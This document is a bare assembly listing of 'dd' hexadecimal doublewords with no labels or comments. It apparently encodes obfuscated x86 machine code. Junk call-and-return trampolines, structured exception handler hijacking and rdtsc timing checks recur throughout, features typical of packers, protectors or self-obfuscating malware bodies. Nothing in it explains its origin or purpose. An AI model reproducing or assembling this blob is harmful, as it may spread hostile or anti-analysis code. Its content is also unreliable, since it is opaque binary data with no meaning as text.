		dd 0B8816C24h, 0E4BB6692h, 0E995FFFCh, 0F07E028h, 0BD83F8BFh
		dd 7E028E1h, 39840F00h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 726BC355h
		dd 0DE950h, 0D9E10000h,	3B3AC915h, 64B6C89Fh, 895E2F8Eh
		dd 0BD892434h, 7E01831h, 0CBADB5FFh, 6A07E3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 1742CEC3h
		dd 55BD8B2Dh, 0FF07E01Bh, 0E0303595h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
		dd 51B69F89h, 0ADB5FF5Bh, 6A07E3CBh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8B67C353h
		dd 0B995FFFAh, 6A07E001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0F53FC353h,	0BF08E885h
		dd 0AE789A0h, 731BD83h,	0F0207E0h, 5584h, 899D8B00h, 8B07E019h
		dd 0E0203985h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0F6D381AFh, 0C63C3423h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0A63570C3h, 338FB6F5h, 85C7D88Bh,	7E0043Dh
		dd 0
		dd 8A59D8Bh, 0B6E907E0h, 8BFFFFF2h, 52006AC1h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 65829F75h
		dd 0F9EA363h, 0BD89DFB7h, 7E02E41h, 13C9858Dh, 6A07E0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 1F9820C3h, 0FBA76F7Eh, 8B6021C0h, 0E023B98Dh, 0C8B70F07h
		dd 6E961h, 6D000000h, 3599186Ch, 2880F50h, 8B000000h, 240489F9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BC35747h
		dd 6AD62Ch, 7DD9531h, 6A07E0h, 884CBF66h, 49858Dh, 0D2B707E5h
		dd 8B05C083h, 0E02A619Dh, 4895007h, 55006A24h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0C549D92Dh
		dd 0F781669Dh, 6ACA0Ch,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0DC35343h, 0FD374E55h, 6AF93641h, 0DEB70F00h
		dd 344195FFh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0B1F909C3h, 93AC74Dh, 0A3938D8Dh
		dd 6A07E3h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0D104CCC3h, 29F642E7h, 0E02E35B5h, 6AD1FF07h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 3770C357h, 959589FFh, 8307E023h, 0E016B1BDh
		dd 850F0107h, 8Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0C4C35747h, 59B099EDh, 6A148C04h, 50D88B02h
		dd 89F98B66h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 78BC76C3h, 16FB0D2Ch, 6041CB3Bh
		dd 31919589h, 8D2907E0h, 7E02015h, 0FFD98B61h, 0E02A9995h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 9BD67A9h, 0E022A585h, 0EE7E907h,	0E80000h
		dd 5D000000h, 53ED81h, 7E907E5h, 0ED000000h, 3F79DE17h
		dd 9D096CDDh, 7E01C05h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0A9C35343h, 0C27BF706h, 0B5B53190h, 0E907E015h
		dd 10h,	28350AE1h, 7A13F7AEh, 0B8483A24h, 0F4AC5083h, 9463858Dh
		dd 609007E3h, 8E8h, 5198C200h, 1C0C3661h, 0F18B666Bh, 6E958h
		dd 3430000h, 891077BCh,	860F5061h, 7, 0F0C2BF50h, 905F57A2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0ADC35747h
		dd 3066DFCAh, 9589601Ah, 7E02C9Dh, 1C5DBD8Bh, 646107E0h
		dd 35FFh, 95290000h, 7E00565h, 258964h,	8B000000h, 0FD85FFDAh
		dd 0F07E020h, 0A82h, 0BD8B6000h, 7E013BDh, 6A615950h, 50006AFFh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 286E785Eh, 0CD9D8BE1h, 0FF07E026h, 0E023C5B5h, 12E807h
		dd 0F9EE0000h, 0A1CC26D8h, 10AB984Ch, 3B0AC7DDh, 0ED7CC94Fh
		dd 12E8h, 45D4AF00h, 5FBF0D48h,	90E8BD77h, 0FF20C723h
		dd 0E87FAE60h, 0Bh, 91D4CB80h, 0A070BB4Eh, 5B12F810h, 95FF5B5Bh
		dd 7E03389h, 12EE9h, 6850F00h, 29000000h, 0E02B418Dh, 0FC00B007h
		dd 12E870E6h, 8D000000h, 5C3139E3h, 470B2766h, 8B536F2Ah
		dd 8AC4450h, 0DE9F3h, 0A7320000h, 9A254204h, 1C8BAF8Ah
		dd 5F33E7B8h, 0BB6671E4h, 613C6FD1h, 0E5830Fh, 85890000h
		dd 7E01B7Dh, 8AC8B60Fh,	6BADCh,	9D8B0000h, 7E01C4Dh, 0BD31F560h
		dd 7E02015h, 8BC18B61h,	0E00201BDh, 4E8C107h, 0E299D89h
		dd 0F76607E0h, 6E9E2h, 0D8AF0000h, 83E2888Ch, 0DB81C82Bh
		dd 495436EAh, 8589D18Bh, 7E020D5h, 92E9h, 0D98B6600h, 2DC78166h
		dd 44858B25h, 895F4C4Ch, 0E02F0585h, 7C08307h, 9E9h, 0BBE8DE00h
		dd 8504409Ah, 0C0834501h, 0E2DABB00h, 0D03B0A6Eh, 0E830Fh
		dd 9D8B0000h, 7E02EE5h,	52E9h, 0DEB70F00h, 0FFFF8D8Bh
		dd 0ADBBFFFFh, 83173C9Fh, 840F01E1h, 3Bh, 9E8h,	0EE9B0800h
		dd 0CBA1459Fh, 816647A7h, 5B4E8BD7h, 2689BD2Bh,	0A58307E0h
		dd 0FFFFFFFFh, 38F0FFEh, 66000000h, 9589D98Bh, 5F4C4C44h
		dd 2FB19589h, 0E907E0h,	8D000000h, 0E480B0B5h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 94940911h, 0DB81006Ah, 2407F0C7h, 18A995FFh,	9D8B07E0h
		dd 7E02BADh, 1006B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 1EC87784h, 0F971C17Fh
		dd 6AFCE183h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 5855C350h, 6AFC3DA3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0EA2C352h, 13164EFh,	8B666079h, 0C02B61C6h, 0BAFD8Ah
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 3BD5C351h, 33AD9F40h, 3E8D1C2h
		dd 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 44E861C3h, 56006A84h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 45C10BD9h
		dd 66F9D693h, 0CE85EF81h, 880Dh, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 0FBB70F1Eh
		dd 8BDFBF0Fh, 0E0181595h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 34C1F835h
		dd 0E8D1B081h, 0Eh, 8DE48120h, 0F676E3D4h, 22884CB1h, 0BF66EBCDh
		dd 8B5B8DC5h, 0E020498Dh, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0F705C581h
		dd 59BF37B0h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 6A5818h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0D404E1C3h, 95FDA398h, 60C8BCE6h,	8589C18Ah
		dd 7E01E9Dh, 99BD8B61h,	6007E02Fh, 3C8B860h, 9D8B7CC7h
		dd 7E01DB1h, 0AAE38061h, 0F5BD8361h, 7E012h, 3F840Fh, 10E90000h
		dd 54000000h, 29002D47h, 892021FAh, 15C4DD67h, 89C2F396h
		dd 0E022C19Dh, 0B807h, 89600000h, 0E031DDBDh, 2DB96607h
		dd 8D8D6104h, 7E04EE8h,	0FFED69BBh, 8BE1FF68h, 0E008F19Dh
		dd 0C5BD8307h, 7E022h, 475840Fh, 8D0F0000h, 6, 579B589h
		dd 0BD8307E0h, 7E022C5h, 77840F01h, 6A000004h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 46D2C350h, 53917331h, 0BD838FC5h, 7E022C5h, 11860F03h
		dd 6A000004h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 606BC350h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0EEC35545h,	0D2FD394h, 0EE8D6CCh
		dd 28000000h, 2DA3C882h, 0C30CAB44h, 0EE3548DDh, 53CF8111h
		dd 5F559B5Ah, 6AD98C66h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 481CC357h, 0E180F88Bh
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1904h, 0C3514100h, 7387CBC1h, 8E0F2D2Fh, 6, 11CD9D31h
		dd 0C90A07E0h, 0CD840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0EA9DDC3h, 9D8BB9A4h
		dd 7E01E05h, 3399858Bh,	6A07E0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 24C61EC3h, 872C4A86h
		dd 0B9F3811Ah, 330B2468h, 0E0318985h, 0E97CB307h, 10h
		dd 8A4BC507h, 55D77416h, 8A9BA460h, 2133E8C6h, 89D88B50h
		dd 0B70F2404h, 66006ADBh, 81A3E781h, 6D011B68h,	0B0ECBFE2h
		dd 4811BD0h, 0B202E424h, 0CD95FF1Dh, 0B707E021h, 0AD8589C7h
		dd 8B07E3CBh, 0E00155BDh, 21DE907h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 8166C3C3h
		dd 8BF3C8D3h, 0E3CBA585h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0D9CD1800h
		dd 4A52D129h, 119D8B70h, 0C707E018h, 1800h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0B70FA03Bh, 0A9B58BFAh, 6A07E3CBh, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 666DC351h
		dd 8B0B3DBFh, 0E005F985h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 8B528007h
		dd 0E0346D9Dh, 6A068907h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 8B51C350h, 9531528Eh
		dd 7E019BDh, 99858B5Fh,	0E807E033h, 0Fh, 0E6326175h, 49963B13h
		dd 4D06CFD4h, 0F58BC56h, 0FC5BFEB7h, 6A044689h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 335CC350h, 0BD9D8BF5h, 9607E001h, 50D88B66h,	8A525050h
		dd 8A310FD9h, 5B585AFCh, 0E9858996h, 0FF07E01Bh, 0E3CBA5B5h
		dd 0D1B58907h, 6807E000h, 9A32891Eh, 2EF17BFh, 2404816Fh
		dd 65EC7AE1h, 14C9BD8Bh, 858D07E0h, 7E3CBADh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0DDC35040h, 13FD8D89h
		dd 0E85007E0h, 14h, 9AF4AA85h, 54839CE3h, 15D734FFh, 380AB2C7h
		dd 6C114463h, 895BDA8Bh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 54E9D8C3h, 0EDE525Dh
		dd 0E8F9B70Fh, 0Dh, 1E1F7825h, 372B4B04h, 176883D0h, 0D5B589B3h
		dd 5B07E01Ch, 21CD95FFh, 6A07E0h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0D2BB9CC3h, 617DF99Ch
		dd 8F0FF88Ah, 3, 0C73BCB80h, 0E022C585h, 307h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0D0A1282Eh, 0BC7121CDh, 0ADBD835Dh, 7E3CBh, 4E840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 40D147C3h, 2A159D8Bh, 40E907E0h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 0FC8AC350h, 0BD8B3717h, 7E02439h,	110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0E746C353h, 318531E1h, 5007E034h, 5BDFB70Fh,	22C5BD83h
		dd 0F0307E0h, 4D585h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 10848B37h, 0EF563E9Ch
		dd 0C6BF663Ch, 83D88BB6h, 0E3CBADBDh, 840F0007h, 49Eh
		dd 0FFFE8B66h, 0E3CBADB5h, 64BB5207h, 5B7402D2h, 1DA995FFh
		dd 958907E0h, 7E0341Dh,	0CBA1B58Bh, 8B6607E3h, 106C7FEh
		dd 6A000100h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0EAE3C356h, 37A3CA39h,	66DF8B38h
		dd 0B796F98Bh, 8E850DCh, 54000000h, 250B5D6Fh, 0E8912AC9h
		dd 0Bh,	57D9838Fh, 2D4DE792h, 661523FEh, 5B5BFB8Bh, 55006A96h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0F104ECC7h, 0B83A747Bh, 8D2992E5h, 7E01D41h,	2C598D89h
		dd 0B5FF07E0h, 7E3CBADh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 17h, 56C35040h, 31655092h,	0E01AC985h, 1195FF07h
		dd 107E030h, 0E008A585h, 0E3816607h, 0B58BF2B5h, 7E3CBA1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0DFC35141h
		dd 0E2FD9E38h, 0CF811D66h, 2927725Fh, 0D1858BF5h, 0E907E022h
		dd 8, 0B56DAB73h, 9CBF54C3h, 0C48689h, 0CE90000h, 8D000000h
		dd 0FF6E19C5h, 0E7555CAEh, 8BE01506h, 0E0181595h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8B661D0Fh, 4C283D9h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0B8C35545h, 0C9B58960h, 0F907E008h, 9E861h
		dd 9D4C0000h, 0AD7B38B2h, 897277DEh, 0E03111BDh, 50895B07h
		dd 55006A20h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 2850FB1h, 8B000000h, 0D4858DD9h,	0F507E3E0h
		dd 0B88689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 9004DC3h, 8D0FF535h, 0
		dd 1F65BD89h, 858907E0h, 7E0311Dh, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 416DBFC3h
		dd 99EE8D86h, 0BCE8033h, 0E0088D9Dh, 0A1BD8B07h, 0E807E01Ah
		dd 12h,	0FF240520h, 5900FD44h, 0FE899934h, 0CD317867h
		dd 0FF5B7778h, 0E3CBADB5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0EEA9FD0Fh
		dd 52CFE07Dh, 8E0F1FE8h, 6, 74D9D8Bh, 95FF07E0h, 7E02A99h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 24C35242h
		dd 0ED8D8993h, 9607E004h, 0BF50DE8Bh, 50D37276h, 50006A96h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0E862B4CBh, 5B1C1C4Fh, 0ADB5FF25h, 6A07E3CBh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
		dd 98B6C357h, 0B19D8BE5h, 0FF07E023h, 0E028E995h, 0AE40BF07h
		dd 0EB81105Fh, 6672D0EDh, 28E1BD83h, 0F0007E0h,	5384h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 13FDE9A3h, 3D33A4B8h, 3185893Ah,	5007E023h
		dd 3820Fh, 8B660000h, 243489DFh, 0FF1BD8Bh, 11E907E0h
		dd 0BE000000h, 0AC023205h, 7138684Eh, 0F34C4295h, 75735510h
		dd 0CBADB5FFh, 10E907E3h, 0ED000000h, 5B3C8876h, 0F54BFE85h
		dd 6C1A3CB9h, 0FF0A221Fh, 0E0303595h, 219D8907h, 6007E010h
		dd 2800Fh, 59510000h, 61DDD380h, 0CBADB5FFh, 0BB6607E3h
		dd 95FF1BA9h, 7E001B9h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 2FC35646h, 0F9A1857h,	9D9D0126h, 0F07E01Bh
		dd 680h, 0B9B52900h, 8307E020h,	0E00731BDh, 840F0207h
		dd 66h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch
		dd 4C35747h, 7ECC95C3h,	0BEA18EFEh, 2039858Bh, 6A07E0h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 43089CC3h, 28E59589h, 0BD8B07E0h, 7E01291h, 0F0000C6h
		dd 38Ch, 0DFBF0F00h, 30559D89h,	85C707E0h, 7E0043Dh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 51C35040h
		dd 141D9115h, 8589290Eh, 7E02A9Dh, 12C19D89h, 34E907E0h
		dd 6AFFFFF2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0A0E5C351h, 56E8D37Fh,	8BF74D61h
		dd 0E02E199Dh, 9C18B07h, 0E01989B5h, 0C9858D07h, 6A07E013h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 7B3AC356h, 0AE88627h, 0ED000000h,	99094C60h
		dd 9C156A14h, 11BD8B4Dh, 5F07E01Dh, 0E890F88Bh,	0Dh, 36A7C4B7h
		dd 606440BAh, 0BA63065Dh, 0DA8B53EBh, 66505B5Bh, 906694BBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 8BC35242h
		dd 0B39C1084h, 6A006AC0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 6BD5C353h, 85894E76h
		dd 7E01D11h, 0B70F006Ah, 2C858DFBh, 6A07E511h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0F73BC353h, 0F4845F16h, 0B3B80FCCh, 5C0837Dh, 2199BD8Bh
		dd 816607E0h, 50824BCBh, 489F88Bh, 0B70F5724h, 0BD8B5FFEh
		dd 7E01D1Dh, 9529006Ah,	7E01649h, 0FCB8A60h, 6A61C1B7h
		dd 4BF6600h, 4195FF86h,	0F807E034h, 80D9589h, 8D8D07E0h
		dd 7E3A393h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	0EEC35141h, 0F12AA9D1h,	0C18D89A1h, 8B07E022h
		dd 0E0253D9Dh, 6AD1FF07h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0E8E2C353h,	13E9h
		dd 3D816B00h, 4EC1D270h, 23A7A7EBh, 0F56BC24Ch,	5A7A41D9h
		dd 16B1BD83h, 0F0107E0h, 6B85h,	0F5B58900h, 6A07E02Dh
		dd 11958902h, 2307E005h, 0E020D19Dh, 53509007h,	5E9h, 0EB1A1500h
		dd 5F5B28B3h, 10E850h, 77490000h, 8F2C32F7h, 0DB15E349h
		dd 2B03C00Dh, 905B394Fh, 2071BD31h, 95FF07E0h, 7E02A99h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 98C35141h
		dd 0A76F7E1Fh, 0AE21C0FBh, 0E7AE9h, 0E800h, 815D0000h
		dd 0E51136EDh, 199D8B07h, 8D07E011h, 0E3946385h, 16890F07h
		dd 0E9000000h, 11h, 1A7CA0ACh, 1F9B372Ch, 7796711Bh, 2378D93Ah
		dd 159D89EFh, 5007E02Fh, 50D98B60h, 0EE952h, 0A2550000h
		dd 0F7A4EC67h, 0F2DD9D39h, 0EAC50400h, 5250310Fh, 585A310Fh
		dd 8961585Ah, 0D88B2404h, 35FF64h, 9000000h, 0E017F995h
		dd 25896407h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0DAC35646h
		dd 21019589h, 11E907E0h, 9A000000h, 2DED109Bh, 0BCD5D89Eh
		dd 6F3EC741h, 372300E7h, 20FD85FFh, 6A07E0h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2CBF24C3h
		dd 8B60862Ah, 0E008E99Dh, 1C78007h, 9D03FF6Ah, 7E01CE1h
		dd 0B5FFF98Bh, 7E01261h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 5EC35141h, 9BCC203Eh,	0FFF95C52h, 0E0338995h
		dd 159E907h, 11E80000h,	0BD000000h, 0E46FE55Fh,	2BCC5063h
		dd 2468FAE6h, 0DB41C830h, 319D8Bh, 0B05B07E0h, 81666000h
		dd 6666F7E7h, 0E661F18Bh, 0C1B58970h, 0E407E02Ch, 5D9D8B71h
		dd 3C07E02Fh, 18830F61h, 0E8000001h, 12h, 96B0695h, 0AF06117Eh
		dd 0F3CC9857h, 0D50490h, 0B70FECC1h, 0B60F5FDBh, 89B589C8h
		dd 0BA07E019h, 6, 0E299D8Bh, 0C18B07E0h, 2AA9BD8Bh, 0E8C107E0h
		dd 66F88B04h, 0BF66E2F7h, 0C82B922Eh, 30F59D33h, 0D18B07E0h
		dd 0DE8h, 13DB9300h, 0DCDC9DDEh, 5F0641EDh, 8B6606B4h
		dd 0B0E95BFAh, 89000000h, 0E023B195h, 50858B07h, 2947554Ch
		dd 0E02B7585h, 7C08307h, 1E8D9501h, 9D8B07E0h, 7E00199h
		dd 8000C083h, 0D03BCFEFh, 27830Fh, 85290000h, 7E00FF1h
		dd 76E9h, 6E800h, 284C0000h, 0AC6E74DFh, 0BE9h,	23705400h
		dd 0E7EF8767h, 1AD67280h, 0FF8D8B5Bh, 8BFFFFFFh, 0E00F519Dh
		dd 1E18307h, 45840Fh, 9D8B0000h, 7E028E5h, 0FFFFA583h
		dd 66FEFFFFh, 9589D88Bh, 47554C50h, 0AE957h, 0A5C0000h
		dd 0F9B4722h, 0A78C8511h, 7E85Fh, 48490000h, 0A7348F61h
		dd 6810F26h, 0F000000h,	8Ch, 0E95B00h, 8D000000h, 0E490B6B5h
		dd 0ED9D8907h, 6A07E02Ah, 0DBB70F00h, 18A995FFh, 8B6607E0h
		dd 0F8DB9FBh, 13E90000h, 4A000000h, 0EA3A5E44h,	6063B42Ah
		dd 0F0DF04A2h, 0C21EB576h, 0E1838415h, 8F0FFCh,	0FC000000h
		dd 2BF9BF0Fh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 42D75BC6h, 3E344886h, 2BD8B70Fh
		dd 55006AD2h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 0AA95E9ABh, 0C78C25A4h, 0ADCBCF80h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 3234C352h, 0D1B450DBh
		dd 178C0FB7h, 0E9000000h, 12h, 0C4A1D45Bh, 45A3A059h, 0C09650EDh
		dd 65EC1672h, 6AA62Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 7879D1C3h, 9D8B3843h, 7E028C5h
		dd 0DFAB70Fh, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 64C35343h, 8B185C83h,	0E007BD9Dh, 0F59D0307h
		dd 8B07E015h, 0E0181595h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 1455F37Fh
		dd 8B477406h, 0E00855BDh, 498D8B07h, 6A07E020h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 13ADC356h, 0BF17EC28h, 7E289C22h, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 0E9BEC3C3h, 5, 0BE2F6E49h
		dd 50006A56h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 7ED5C25Eh, 6E845h, 0DDE30000h, 0A9AFD8A8h
		dd 6890Fh, 0EF810000h, 3D402626h, 0F5BD835Bh, 7E012h, 55840Fh
		dd 0BE90000h, 59000000h, 0FF170D2h, 8723D017h, 0B8E65Bh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 0D526C355h, 521E45FAh,	7CDACEC1h
		dd 4EE88D8Dh, 8E907E0h,	34000000h, 6D1CCE2Bh, 0FFE459D0h
		dd 0B5BD8BE1h, 8307E011h, 0E022C5BDh, 840F0007h, 477h
		dd 0C5BD83FCh, 107E022h, 484840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 83971FC3h
		dd 0E022C5BDh, 860F0307h, 424h,	6A605F57h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8BB2C355h
		dd 0E02B75BDh, 0D98C6607h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 39C35545h, 27665C31h,	6F2A470Bh, 25952953h
		dd 8B07E012h, 0E02B29BDh, 4E18007h, 6E8h, 0F7BFB500h, 295A966Ah
		dd 0E008618Dh, 0C90A5F07h, 1AC840Fh, 14E80000h,	94000000h
		dd 0E6616122h, 2B12D040h, 462BEC3Ch, 1AA9E1B8h,	0FB4DD57h
		dd 1A8Ch, 14E800h, 0FF920000h, 1C3AE0E2h, 16477719h, 0F89367AFh
		dd 0BEDBD0BFh, 5B5BA76Ah, 3399858Bh, 6A07E0h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 929D6CC3h
		dd 86857365h, 0BD890309h, 7E02C89h, 8D8960F8h, 7E00909h
		dd 5D9D8B60h, 0E807E01Ah, 0Eh, 0E21CF5E4h, 0F1E7164Fh
		dd 79E1E874h, 615F8CE8h, 89853361h, 8B07E031h, 48950DEh
		dd 0A5BD2924h, 6A07E014h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0D4BB666Fh
		dd 4E886h, 3FF0000h, 5250001Fh,	12E9h, 61C90A00h, 0DC71413Eh
		dd 9CC2CF50h, 681EDB70h, 0FDB6B28h, 5AF88B31h, 0BB605058h
		dd 4CC2D9DBh, 0EE8h, 88017E00h,	0FFB19B41h, 2A4A4C8Bh
		dd 0F8E3F94h, 8Ch, 8B615F00h, 0BF042444h, 3140C399h, 5050008Bh
		dd 59F9BF52h, 310F747Bh, 585A54B7h, 2444895Fh, 0DE804h
		dd 6DA30000h, 964442DDh, 8997E74Ch, 5BC8CA3Ch, 0CD95FF58h
		dd 6A07E021h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 558DC357h, 0B8A7E6CEh,	7E9h, 0F5540100h
		dd 7D3EE50Ch, 0CBAD8589h, 0EF8107E3h, 402E52D1h, 1AAD8509h
		dd 0C1E907E0h, 6A000001h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 1753C352h, 57CBF1F4h
